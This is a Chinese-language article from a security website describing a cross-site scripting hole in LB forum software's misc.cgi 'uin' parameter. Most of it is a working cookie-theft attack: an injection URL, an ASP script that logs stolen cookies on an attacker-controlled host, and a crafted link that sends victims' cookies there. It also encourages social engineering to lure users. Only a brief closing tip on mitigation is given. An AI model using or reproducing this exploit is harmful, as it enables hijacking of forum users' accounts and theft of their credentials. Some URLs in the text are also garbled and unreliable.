上一篇:图解杀毒软件McAfee的使用方法 >>
LB论坛(所有版本)跨站脚本漏洞
那么抛去论坛本身的xss(跨站脚本)漏洞不说 ,仅*这些精心构造的图片和flash文件就足以达到目了(具体如何用图片,和flash达到跨站目的,不是本文讨论内容,暂时不了解的朋友可以参阅相关资料)
所以本文针对的是把cookies模式设成完整路径模式的站点,当然设置成根目录模式的站点也一样适用。
问题出在cgi-bin目录下misc.cgi 的这个文件里,也就是论坛好友栏目的icq一项,提交的时候没有对uin 这个变量做任何过滤,和uin又会作为icq号码显示出来,作为正常的提交是这样的
http://www.target.com/cgi-bin/misc.cgi?action=icq&uin=123456 123456为icq号码 ,而如果构造下面的提交:
http://www.target.com/cgi-bin/misc.cgi?action=icq&uin=<;script>alert(documents.cookie)</script>那么你在论坛的cookies信息就暴露无疑了,如何利用呢,首先你要有一个接受端脚本,来接收传出去的cookies信息,当然Cookies里面会有你想要的用户名和密码,而这个脚本要放到任何一个自己有域名的空间上,比较普遍的asp语言的脚本是下面这样的:
在此感谢lcx:
=====================================
<%
testfile=server.mappath("cookies.txt")
msg=request("msg")
set fs=server.createobject("scripting.file *** object")
set thisfile=fs.opentextfile(testfile,8,true,0)
thisfile.writeline(""&msg&"")
thisfile.close
set fs=nothing
%>
把这段代码复制保存为xxx.asp文件。放在你自己的空间上,免费空间到处都是吧~~附带地也会给你一个不管几级的域名吧,同时支持asp的也不少吧:)
下面我们就可以构造客户端的url了,我们考虑的是把我们得到的cookies传到我们自己的空间,并通过早已放置的脚本保存在一个txt文件里,从而得到用户信息。
要诱使用户访问的url构造出来一般是这样的:
http://www.sohu.com/xxx.asp?msg%3d%27%2b" target=_blank>http://www.target.com/cgi-bin/misc.cgi?action=icq&uin=%3cscript%3ewindow.location.href%3d%2http://www.sohu.com/xxx.asp?msg%3d%27%2bdocuments.cookie%3c/script%3e
在改变target的名字后,假如用户访问了这个连接,而且他又曾经选择在本地保存cookies那么他的cookies内容就会自动发往你的空间,并由你先前放置的的那个asp文件保存为名为cookies.txt的文本文件等待你取回。这里www.sohu.com 是你自己站点放置xxx.asp的路径。 www.target.com是你希望攻击的论坛的url。
至于怎么样让用户访问这个连接,就*你自己想了,什么社会工程学知识拉~~ 你的机智灵敏加勇敢之类的都可以用上,不过仅限于安全研究,如果用此方法破坏,本人在鄙视之余亦不承担任何法律上直接或间接的责任和损失。
看完本文可能有的朋友会问,要是用户没有选择在本地保存cookie怎么办,呵呵,我提示一下,无论用户是否选择保存cookie 在本地,他/她的cookies信息都是保存在当前浏览器进程里的,聪明的你想到怎么做了吗:),祝你愉快,不要破坏。
本文对于以前对xss利用方式比较透彻的的朋友,可能只是另一个xss漏洞,对于新手,由于本文没有从跨站脚本的成因比较透彻地讲起,可能你需要有一些相关的知识作为基础
对于所有使用lb论坛的朋友建议在官方补丁没有出来前首先删除 cgi-bin目录下的mice.cgi文件,同时有条件的朋友应该马上把cookies模式设置成为 完整路径模式,是在论坛基本变量下设置的吧。
()
下一篇:破解QQ“隐身”的几大绝招 >>
相关文章:
- · SQL Server应用程序中的高级SQL注入
- · leadbbs移花接木漏洞与加入黑客木马
- · XPSP2多线程访问提速秘技
- · Sniffer:黑客入侵最常用的手段
- · CGI安全漏洞资料速查表
- · 浅谈如何针对DDos部署防御措施
- · 什么是 TCP SYN Flood 攻击
- · TCP协议的通讯方式
- · 基于NetBIOS的简单Windows进攻法
- · UNIX及黑客入门的探索与思考
- · 文件扩展名导致的安全问题
- · 黑客攻击步骤-如何获得IP
- · 局域网上网的安全防范与技巧
- · 在2000/xp下禁用USB接口
- · 最全最新的mp3芯片介绍
- · 防止Serv_U6.0.0.2权限提升的方法
- · coms密码无敌破解大法
- · DOS攻击与天网DOS防御网关技术
- · 天网防火墙负载分担技术
- · TCP SYN Flood防御方法
- · TCP SYN Flood检测与防范
- · 使用firefox浏览器的十个理由
- · TCP SYN Flood攻击的机制
- · 微软反间谍软件与恶意软件移除工具之区别
- · PHP网站漏洞的相关总结
- · 如何更改 pcAnywhere IP 端口
- · 系统安全的最小特权原则
- · 防DDoS攻击11招
- · 轻松学习 PKI
- · PKI技术安全电子商务的基石
- · 企业防黑必备的五大策略
- · 入侵检测系统:理论和实践
- · 深度防御体系的构建
- · 让漏洞无处藏身-扫描工具大阅兵
- · 确保企业信息安全的12招
- · 了解黑客:如何跟踪发现黑客的举动
- · ASP常见的安全漏洞
- · 政府网络安全解决方案
